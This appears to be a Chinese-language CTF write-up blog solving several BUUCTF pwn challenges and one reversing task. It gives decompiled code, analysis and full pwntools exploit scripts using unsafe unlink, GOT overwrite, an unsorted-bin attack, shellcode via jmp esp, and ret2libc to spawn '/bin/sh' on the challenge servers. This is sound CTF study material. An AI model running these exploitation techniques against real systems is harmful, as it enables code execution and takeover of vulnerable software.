1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 delete(3 ) edit(2 ,p64(0 )*2 +p64(elf.got['free' ])+p64(elf.got['puts' ])) edit(1 ,p64(elf.plt['puts' ])) delete(2 ) r.recvuntil("OK\n" ) puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' ))print ("puts_addr->" ,hex (puts_addr)) libcbase=puts_addr-libc.sym['puts' ] system_addr=libcbase+libc.sym['system' ]print ("system->" ,hex (system_addr)) edit(4 ,b'/bin/sh\x00' ) edit(1 ,p64(system_addr)) delete(4 ) r.interactive()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) elf=ELF('./stkof' ) libc=ELF('./libc-2.23.so' ) r=remote("node5.buuoj.cn" ,26117 )def add (size ): r.sendline("1" ) r.sendline(str (size)) r.recvuntil("OK\n" )def edit (idx,content ): r.sendline("2" ) r.sendline(str (idx)) r.sendline(str (len (content))) r.send(content) r.recvuntil("OK\n" )def delete (idx ): r.sendline("3" ) r.sendline(str (idx)) add(0x10 ) add(0x80 ) add(0x80 ) add(0x10 ) bss=0x602140 chunk2_ptr=bss+0x10 fd=chunk2_ptr-0x18 bk=chunk2_ptr-0x10 edit(2 ,p64(0 )+p64(0x80 )+p64(fd)+p64(bk)+p64(0 )*0xc +p64(0x80 )+p64(0x90 )) delete(3 ) edit(2 ,p64(0 )*2 +p64(elf.got['free' ])+p64(elf.got['puts' ])) edit(1 ,p64(elf.plt['puts' ])) delete(2 ) r.recvuntil("OK\n" ) puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' ))print ("puts_addr->" ,hex (puts_addr)) libcbase=puts_addr-libc.sym['puts' ] system_addr=libcbase+libc.sym['system' ]print ("system->" ,hex (system_addr)) edit(4 ,b'/bin/sh\x00' ) edit(1 ,p64(system_addr)) delete(4 ) r.interactive()
zctf_2016_note3 checksec 1 2 3 4 5 6 [* ] '/home/yyyffff/桌面/note3' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void __fastcall __noreturn main (int a1, char **a2, char **a3) { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); alarm(0x3Cu ); while ( 1 ) { switch ( (unsigned int )sub_400A1B() ) { case 1u : add(); break ; case 2u : show(); break ; case 3u : edit(); break ; case 4u : delete(); break ; case 5u : puts ("Bye~" ); exit (0 ); case 6u : exit (0 ); default : continue ; } } }
菜单题
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int add () { int i; __int64 size; void *v3; for ( i = 0 ; i <= 6 && *(&ptr + i); ++i ) ; if ( i == 7 ) puts ("Note is full, add fail" ); puts ("Input the length of the note content:(less than 1024)" ); size = sub_4009B9(); if ( size < 0 ) return puts ("Length error" ); if ( size > 0x400 ) return puts ("Content is too long" ); v3 = malloc (size); puts ("Input the note content:" ); sub_4008DD((__int64)v3, size, 10 ); *(&ptr + i) = v3; qword_6020C0[i + 8 ] = size; qword_6020C0[0 ] = (__int64)*(&ptr + i); return printf ("note add success, the id is %d\n" , (unsigned int )i); }
如图
c0 是临时的,从 c8 开始记录堆指针,从 100 开始记录每个堆块长度
show 1 2 3 4 int show () { return puts ("No show, No leak." ); }
骗人的/(ㄒoㄒ)/~~
edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int edit () { __int64 v0; __int64 v1; __int64 v3; puts ("Input the id of the note:" ); v0 = sub_4009B9(); v3 = v0 % 7 ; if ( v0 % 7 >= v0 ) { v1 = (__int64)*(&ptr + v3); if ( v1 ) { puts ("Input the new content:" ); sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8 ], 10 ); qword_6020C0[0 ] = (__int64)*(&ptr + v3); LODWORD(v1) = puts ("Edit success" ); } } else { LODWORD(v1) = puts ("please input correct id." ); } return v1; }
具体的函数有漏洞
sub_4008DD 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 __fastcall sub_4008DD (__int64 ptr, __int64 len, char a3) { char buf; unsigned __int64 i; ssize_t v7; for ( i = 0LL ; len - 1 > i; ++i ) { v7 = read(0 , &buf, 1uLL ); if ( v7 <= 0 ) exit (-1 ); if ( buf == a3 ) break ; *(_BYTE *)(i + ptr) = buf; } *(_BYTE *)(ptr + i) = 0 ; return i; }
如果 len 是 0 的话被当作 unsignedint 就会变成非常大,可以覆盖下面许多堆块的数据
还有一种是分配许多堆块,最后一个堆块堆块虽然会警告但是还是会分配,也就会覆盖第一个堆的 len ,也可以造成极大输入
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int delete () { __int64 v0; __int64 v1; __int64 v3; puts ("Input the id of the note:" ); v0 = sub_4009B9(); v3 = v0 % 7 ; if ( v0 % 7 >= v0 ) { v1 = (__int64)*(&ptr + v3); if ( v1 ) { free (*(&ptr + v3)); if ( (void *)qword_6020C0[0 ] == *(&ptr + v3) ) qword_6020C0[0 ] = 0LL ; *(&ptr + v3) = 0LL ; LODWORD(v1) = puts ("Delete success" ); } } else { LODWORD(v1) = puts ("please input correct id." ); } return v1; }
分析 方法跟上一题一一模一样,懒得写了
需要注意的是这里如果直接用 p64,也就是发送 8 字节,写入 got 表的话由于 edit内函数的问题,会将下一个 got 表地址最后一字节覆盖成 \x00,所以用p64(system_addr)[:7] 来只发送 7 个字节
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) elf=ELF('./note3' ) libc=ELF('./libc-2.23.so' ) r=process('./note3' ) def add (size,content ): r.recvuntil("ption--->>\n" ) r.sendline("1" ) r.recvuntil("an 1024)\n" ) r.sendline(str (size)) r.recvuntil("ontent:\n" ) r.sendline(content)def edit (idx,content ): r.recvuntil("ption--->>\n" ) r.sendline("3" ) r.recvuntil("the note:\n" ) r.sendline(str (idx)) r.recvuntil("content:\n" ) r.sendline(content)def delete (idx ): r.recvuntil("ption--->>\n" ) r.sendline("4" ) r.recvuntil("the note:\n" ) r.sendline(str (idx)) add(0x0 ,b'?' ) add(0x68 ,b'aa' ) add(0xf0 ,b'aa' ) add(0x30 ,b'/bin/sh\x00' ) add(0x30 ,b'aaa' ) pause() bss=0x6020C0 chunk1_ptr=bss+0x10 fd=chunk1_ptr-0x18 bk=chunk1_ptr-0x10 edit(0 ,p64(0 )*3 +p64(0x71 )+p64(0 )+p64(0x60 )+p64(fd)+p64(bk)+p64(0 )*8 +p64(0x60 )+p64(0x100 )) delete(2 ) edit(1 ,b'A' *8 *2 +p64(elf.got['free' ])+p64(elf.got['puts' ])) edit(0 ,b'\x30\x07\x40\x00\x00\x00' ) delete(1 ) puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' ))print ("puts_addr->" ,hex (puts_addr)) libcbase=puts_addr-libc.sym['puts' ] system_addr=libcbase+libc.sym['system' ] edit(0 ,p64(system_addr)[:7 ]) delete(3 ) r.interactive()
[ZJCTF 2019]Login checksec 1 2 3 4 5 6 7 8 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/buu/login$ checksec login [*] '/mnt/hgfs/VMware-share/buu/login/login' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl main (int argc, const char **argv, const char **envp) { void (*v3)(void ); __int64 password; __int64 v5; char v7; __int64 v8; char v9[176 ]; char v10[88 ]; unsigned __int64 v11; v11 = __readfsqword(0x28u ); setbuf(stdout , 0LL ); strcpy (v10, "2jctf_pa5sw0rd" ); memset (&v10[15 ], 0 , 65 ); Admin::Admin((Admin *)v9, "admin" , v10); puts ( " _____ _ ____ _____ _____ _ _ \n" "|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n" " / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n" " / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n" "/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n" " |___/ " ); printf ("Please enter username: " ); User::read_name((User *)&login); printf ("Please enter password: " ); v3 = (void (*)(void ))main::{lambda(void )#1 }::operator void (*)(void )(&v7); v8 = password_checker(v3); User::read_password((User *)&login); password = User::get_password((User *)v9); v5 = User::get_password((User *)&login); password_checker(void (*)(void ))::{lambda(char const *,char const *)#1 }::operator()(&v8, v5, password); return 0 ; }
直接给出了账号密码
32行调用password_checker,进入查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 __fastcall password_checker (void (*)(void )) :: {lambda (char const *,char const *)#1 }::operator ()( void (***a1)(void ), const char *a2, const char *a3) { char s[88 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); if ( !strcmp (a2, a3) ) { snprintf (s, 0x50uLL , "Password accepted: %s\n" , s); puts (s); (**a1)(); } else { puts ("Nope!" ); } return __readfsqword(0x28u ) ^ v5; }
调用二级指针 a1,逆向看 a1 是哪来的,观察到 a1 是该函数第一个参数,回到 main 函数中查看,是由 28 行赋值而来,进入其内部
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:0000000000400A79 public _Z16password_checkerPFvvE .text:0000000000400A79 _Z16password_checkerPFvvE proc near .text:0000000000400A79 .text:0000000000400A79 var_18= qword ptr -18h .text:0000000000400A79 var_8= qword ptr -8 .text:0000000000400A79 .text:0000000000400A79 ; __unwind { .text:0000000000400A79 push rbp .text:0000000000400A7A mov rbp, rsp .text:0000000000400A7D mov [rbp+var_18], rdi .text:0000000000400A81 mov [rbp+var_8], 0 .text:0000000000400A89 lea rax, [rbp+var_18] .text:0000000000400A8D pop rbp .text:0000000000400A8E retn .text:0000000000400A8E ; } // starts at 400A79 .text:0000000000400A8E _Z16password_checkerPFvvE endp
lea rax,[rbp+var_18] 就是控制的返回值,也就是说上面 a1 是这里的 rax,也就是 rbp-0x18,那么如何控制其为后门函数地址呢,找到输入,也就是 main 函数29行,进入查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned __int64 __fastcall User::read_password (User *this ) { char s[8 ]; __int64 v3; __int64 v4; __int64 v5; __int64 v6; __int64 v7; __int64 v8; __int64 v9; __int64 v10; __int64 v11; unsigned __int64 v12; v12 = __readfsqword(0x28u ); fgets (s, 79 , stdin); strip_newline (s, 0x50uLL ); *((_QWORD *)this + 11 ) = *(_QWORD *)s; *((_QWORD *)this + 12 ) = v3; *((_QWORD *)this + 13 ) = v4; *((_QWORD *)this + 14 ) = v5; *((_QWORD *)this + 15 ) = v6; *((_QWORD *)this + 16 ) = v7; *((_QWORD *)this + 17 ) = v8; *((_QWORD *)this + 18 ) = v9; *((_QWORD *)this + 19 ) = v10; *((_QWORD *)this + 20 ) = v11; return __readfsqword(0x28u ) ^ v12; }
对 s 输入,s 偏移是 rbp-0x60,那么我们只需要先输入 b’a’*(0x60-0x18)+p64(backdoor) 拿到shell
后门 1 2 3 4 5 int __fastcall Admin::shell (Admin *this ) { puts ("Congratulations!" ); return system ("/bin/sh" ); }
exp 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * r=remote("node5.buuoj.cn" ,26181 ) context(arch='amd64' ,os='linux' ,log_level='debug' ) payload=b'2jctf_pa5sw0rd' payload=payload.ljust(0x60 -0x18 ,b'\x00' ) payload+=p64(0x400E88 ) r.recv() r.sendline("Admin" ) r.recv() pause() r.sendline(payload) r.interactive()
hitcontraining_magicheap checksec 1 2 3 4 5 6 7 [*] '/mnt/hgfs/VMware-share/buu/heap/hp' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000) Stripped: No
2.23的堆
分析 main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 8uLL ); v3 = atoi(buf); if ( v3 != 3 ) break ; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit (0 ); if ( v3 == 0x1305 ) { if ( (unsigned __int64)magic <= 0x1305 ) { puts ("So sad !" ); } else { puts ("Congrt !" ); l33t(); } } else { LABEL_17: puts ("Invalid Choice" ); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
菜单题
可以看到只要 magic>0x1305 就可以进入 else,而里面的 l33t() 是后门函数
edit_heap 里编辑的长度是我们自己输入的,存在堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int edit_heap () { unsigned int v1; char buf[4 ]; size_t v3; printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( v1 >= 0xA ) { puts ("Out of bound!" ); _exit(0 ); } if ( !heaparray[v1] ) return puts ("No such heap !" ); printf ("Size of Heap : " ); read(0 , buf, 8uLL ); v3 = atoi(buf); printf ("Content of heap : " ); read_input((void *)heaparray[v1], v3); return puts ("Done !" ); }
所以直接用 unsortedbin attack ,将一个大地址写入 magic 里即可
具体就是分配ABC三堆块,B 范围在 unsortedbin 范围内,释放 B,利用 A 溢出修改 B 的 bk 为 magic-0x10,再次分配 B 大小堆块,即可写入
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) r=remote("node5.buuoj.cn" ,25482 ) sla = lambda a,b : r.sendlineafter(a,b) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a)def add (size,content='a' ): sla ("Your choice :" ,str(1 )) sla ("Size of Heap : " ,str(size )) sla ("Content of heap:" ,content ) def edit (idx,content ): sla ("Your choice :" ,str(2 )) sla ("Index :" ,str(idx )) sla ("Size of Heap : " ,str(len(content ))) sla ("Content of heap : " ,content ) def delete (idx ): sla ("Your choice :" ,str(3 )) sla ("Index :" ,str(idx )) add (0x80 ) # 0add (0x80 ) # 1add (0x80 ) # 2delete (1 )edit (0 ,b'a' *0x80 +p64(0 )+p64 (0x91 )+p64 (0 )+p64 (0x602090 ))add (0x80 ,b'aaaa' )sla ("Your choice :" ,str(4869 ))r.interactive ()
ciscn_2019_s_9 checksec 1 2 3 4 5 6 7 8 9 10 11 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/buu/cs9$ checksec cs9 [*] '/mnt/hgfs/VMware-share/buu/cs9/cs9' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
分析 主要的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int pwn () { char s[24 ]; puts ("\nHey! ^_^" ); puts ("\nIt's nice to meet you" ); puts ("\nDo you have anything to tell?" ); puts (">" ); fflush(stdout ); fgets(s, 0x32 , stdin ); puts ("OK bye~" ); fflush(stdout ); return 1 ; }
有个短的栈溢出,
还给了一个 jmp esp 的 hint,可以利用 shellcode,不过只能将 shellcode 写在我们 payload 的头部,如果尾部长度不够,最后将返回地址覆盖成 jmp esp,然后后面加上 sub esp,40;call esp 即可使 eip 指向我们的 shellcode
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * context(arch='i386' ,os='linux' ,log_level='debug' ) r=remote("node5.buuoj.cn" ,25268 ) shellcode=''' push 0x0068732f push 0x6e69622f mov ebx,esp xor edx,edx xor ecx,ecx mov al,0xb int 0x80 ''' shellcode=asm(shellcode) payload=shellcode.ljust(0x24 ,b'a' )+p32(0x08048554 )+asm('sub esp,40;call esp' )print (hex (len (payload))) r.recv() pause() r.sendline(payload) r.interactive()
jarvisoj_level1 checksec 32位啥都没开
IDA分析 1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); write(1 , "Hello, World!\n" , 0xEu ); return 0 ; }
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[136 ]; printf ("What's this:%p?\n" , buf); return read(0 , buf, 0x100u ); }
栈溢出,给了栈地址,就想能不能做 ret2shellcode,然后在本地通了,但是远程很奇怪,连接后不发送任何东西是没有输出的,跟我在本地完全不一样,看了看网上的 wp,发现大家都差不多,最后远程用 ret2libc 通了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context(arch='i386' ,os='linux' ,log_level='debug' ) r=remote("node5.buuoj.cn" ,27110 ) elf=ELF('./l1' ) libc=ELF('./libc-2.23.so' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=elf.sym['main' ] payload=b'a' *(0x88 +4 )+p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) r.sendline(payload) write_addr=u32(r.recv(4 ))print (hex (write_addr)) libcbase=write_addr-libc.sym['write' ] system_addr=libcbase+libc.sym['system' ] binsh_addr=libcbase+next (libc.search(b'/bin/sh' )) payload=b'a' *(0x88 +4 )+p32(system_addr)+p32(main_addr)+p32(binsh_addr) r.sendline(payload) r.interactive()
xor IDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl main (int argc, const char **argv, const char **envp) { int i; char __b[264 ]; memset (__b, 0 , 0x100u LL); printf ("Input your flag:\n" ); get_line(__b, 256LL ); if ( strlen (__b) != 0x21 ) goto LABEL_7; for ( i = 1 ; i < 33 ; ++i ) __b[i] ^= __b[i - 1 ]; if ( !strncmp (__b, global, 0x21u LL) ) printf ("Success" ); else LABEL_7: printf ("Failed" ); return 0 ; }
对于第0位,flag[0]=global[0]=’f’
可以看到从1开始,而 flag[i]^flag[i-1]=global[i],而 global 已知
那么我们就可以从过异或的特性 a^a=0,a^b=c,则 a^b^b=c^b–>a=c^b
而加密过程( 在加密的时候,**__b[i-1] 已经是加密后的 enc[i-1]**,不是原始 flag[i-1]。 )
1 2 3 4 5 enc[0 ] = flag[0 ] enc[1 ] = flag[1 ] ^ enc[0 ] enc[2 ] = flag[2 ] ^ enc[1 ] enc[3 ] = flag[3 ] ^ enc[2 ] ...
然后我们就可以通过异或的特性来解密
1 flag[i] = enc[i] ^ enc[i-1 ]
然后我们就可以解出flag
1 2 3 4 5 6 7 8 from pwn import * data=[0x66 ,0x0A ,0x6B ,0x0C ,0x77 ,0x26 ,0x4F ,0x2E ,0x40 ,0x11 ,0x78 ,0x0D ,0x5A ,0x3B ,0x55 ,0x11 ,0x70 ,0x19 ,0x46 ,0x1F ,0x76 ,0x22 ,0x4D ,0x23 ,0x44 ,0x0E , 0x67 ,0x06 ,0x68 ,0x0F ,0x47 ,0x32 ,0x4F ] flag=chr (data[0 ])print (len (data))for i in range (1 ,len (data)): flag+=chr (data[i]^data[i-1 ])print (flag)